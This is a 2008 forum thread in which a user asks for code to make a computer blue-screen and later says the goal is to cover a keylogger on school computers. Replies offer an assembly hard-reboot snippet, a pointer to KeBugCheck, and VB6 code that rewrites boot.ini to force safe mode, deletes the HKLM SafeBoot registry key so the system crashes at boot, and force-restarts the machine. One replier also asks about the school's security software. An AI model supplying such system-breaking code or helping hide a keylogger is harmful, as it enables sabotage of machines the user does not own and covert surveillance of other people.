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Blue screen of death
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ups2000ups
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PostPosted: Mon Feb 11, 2008 2:31 am    Post subject: Blue screen of death Reply with quote

is their any easy way to make blue screen on a computer?

if you know any program or code to do it i would be happy if i could get it Rolling Eyes

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the_undead
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PostPosted: Mon Feb 11, 2008 2:49 am    Post subject: Reply with quote

well the infamous:
mov al, FEh
out 64h, al

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ups2000ups
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PostPosted: Mon Feb 11, 2008 2:56 am    Post subject: Reply with quote

the_undead wrote:
well the infamous:
mov al, FEh
out 64h, al


joke right ...

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Buggy
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PostPosted: Mon Feb 11, 2008 5:48 am    Post subject: Reply with quote

Code:

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Function BootBlueScreen()
open "C:\boot.ini" for append as #1
Print #1,"/SafeMode:Minimal"
Close #1
RegDeleteKey HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Control\SafeBoot"
End Function


Try this. But it'll work when you reboot.
(VB6 Code)

In the Form load, you have to put
Call BootBlueScreen

Or, you can access to Device\PhysicalMemory and do strange thing +_+ Twisted Evil

Well, if you want to try , try in virtual pc emulators like VMWARE, Virtual PC.

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Last edited by Buggy on Mon Feb 11, 2008 5:57 am; edited 3 times in total
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Noz3001
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PostPosted: Mon Feb 11, 2008 5:51 am    Post subject: Reply with quote

the_undead wrote:
well the infamous:
mov al, FEh
out 64h, al


That's hard reboot. Doesn't BSOD me, just restarts my PC. Use KeBugCheck() to BSOD ^^.
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Buggy
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PostPosted: Mon Feb 11, 2008 6:19 am    Post subject: Reply with quote

oh sorry i misunderstood
boot.ini doesn't have safemode settings on the first line

use this.
Code:

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
  Sub SafeModeBoot()
 On Error GoTo N
 Dim FSO, AA
 Dim Temp As String, FF As Integer, LineNum As Long, Temp2 As String, LineNum2 As String, Temp3 As String
 FF = FreeFile()
 Open "C:\BOOT.INI" For Input As #FF
    LineNum = 0
    Do Until EOF(FF)
        LineNum = LineNum + 1
        Line Input #FF, Temp
        If LCase(Trim(Left(Temp, 5))) = "multi" Then Exit Do
    Loop
 Close #FF
 Temp2 = "": Temp3 = ""
 Open "C:\BOOT.INI" For Input As #FF
    LineNum2 = 0
    Do Until EOF(FF)
        LineNum2 = LineNum2 + 1
        If LineNum2 = LineNum Then
        Line Input #FF, Temp2
        AddLine Temp3, Replace(Temp, "/safeboot:minimal", "") & " /safeboot:minimal"
        Else
        Line Input #FF, Temp2
        AddLine Temp3, Temp2
        End If
    Loop
 Close #FF
 Set FSO = CreateObject("Scripting.FileSystemObject")
  Set AA = FSO.GetFile("C:\BOOT.INI")
  AA.Attributes = 0
 Set AA = FSO.CreateTextFile("C:\BOOT.INI")
 AA.Write Temp3
 AA.Close
 Set AA = FSO.GetFile("C:\BOOT.INI")
 AA.Attributes = 39
 Shell "Shutdown.exe -r -f -t 0", vbHide
 Exit Sub
N:
 MsgBox "An Error Occured." & vbCrLf & vbCrLf & "Error Number: " & Err.Number & vbCrLf & "Description: " & Err.Description, vbCritical
 Err.Clear
 End Sub

 

 Sub AddLine(ByRef Vari, ByVal Comm)
 On Error Resume Next
 If Vari = "" Then: Vari = Comm: Exit Sub
 Vari = Vari & vbCrLf & Comm
 End Sub

Private Function BootBlueScreen()
RegDeleteKey HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Control\SafeBoot"
End Function

and
Call SafeModeBoot()
Call BootBlueScreen()
in form_load or other.
PLUS ++
When you run it it'll reboot with shutdown.

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Last edited by Buggy on Mon Feb 11, 2008 6:24 am; edited 1 time in total
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ups2000ups
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PostPosted: Mon Feb 11, 2008 6:24 am    Post subject: Reply with quote

thanks but i cant use the reg because my school blocking it Sad

i making a keylogger for my school but logout make it look like something is wrong -.-

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Buggy
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PostPosted: Mon Feb 11, 2008 6:30 am    Post subject: Reply with quote

ups2000ups wrote:
thanks but i cant use the reg because my school blocking it Sad

i making a keylogger for my school but logout make it look like something is wrong -.-

Then is there any security program in it like pc keeper?

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ups2000ups
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PostPosted: Mon Feb 11, 2008 6:38 am    Post subject: Reply with quote

Buggy wrote:
ups2000ups wrote:
thanks but i cant use the reg because my school blocking it Sad

i making a keylogger for my school but logout make it look like something is wrong -.-

Then is there any security program in it like pc keeper?



probbaly but idk .. we cant check so much stuff on this computers lolz ..

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hcavolsdsadgadsg
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PostPosted: Mon Feb 11, 2008 9:43 am    Post subject: Reply with quote

KeBugCheck is probably the easiest way.
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Noz3001
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PostPosted: Mon Feb 11, 2008 10:01 am    Post subject: Reply with quote

slovach wrote:
KeBugCheck is probably the easiest way.


You could always write a dodgy driver.
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dnsi0
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PostPosted: Thu Feb 14, 2008 12:05 pm    Post subject: Reply with quote

How do you force reboot your computer? That just shuts off like crashes?
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Noz3001
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PostPosted: Thu Feb 14, 2008 12:11 pm    Post subject: Reply with quote

dnsi0 wrote:
How do you force reboot your computer? That just shuts off like crashes?


Code:
_asm {
   mov al, 0xFE
   out 0x64, al
}
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dnsi0
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PostPosted: Thu Feb 14, 2008 12:29 pm    Post subject: Reply with quote

convert to opcode? My C++ is fcked. Keeping giving me link error thou the code is right...
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HomerSexual
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PostPosted: Thu Feb 14, 2008 12:30 pm    Post subject: Reply with quote

Hm i decided to test this because it seems cool. I just threw it in the WM_CREATE message of one of my minesweep trainers and ran it in the debugger. I get a error that is due to privilege access. on out 0x64, al

edit:

Do i have to make a Kernel mode driver?
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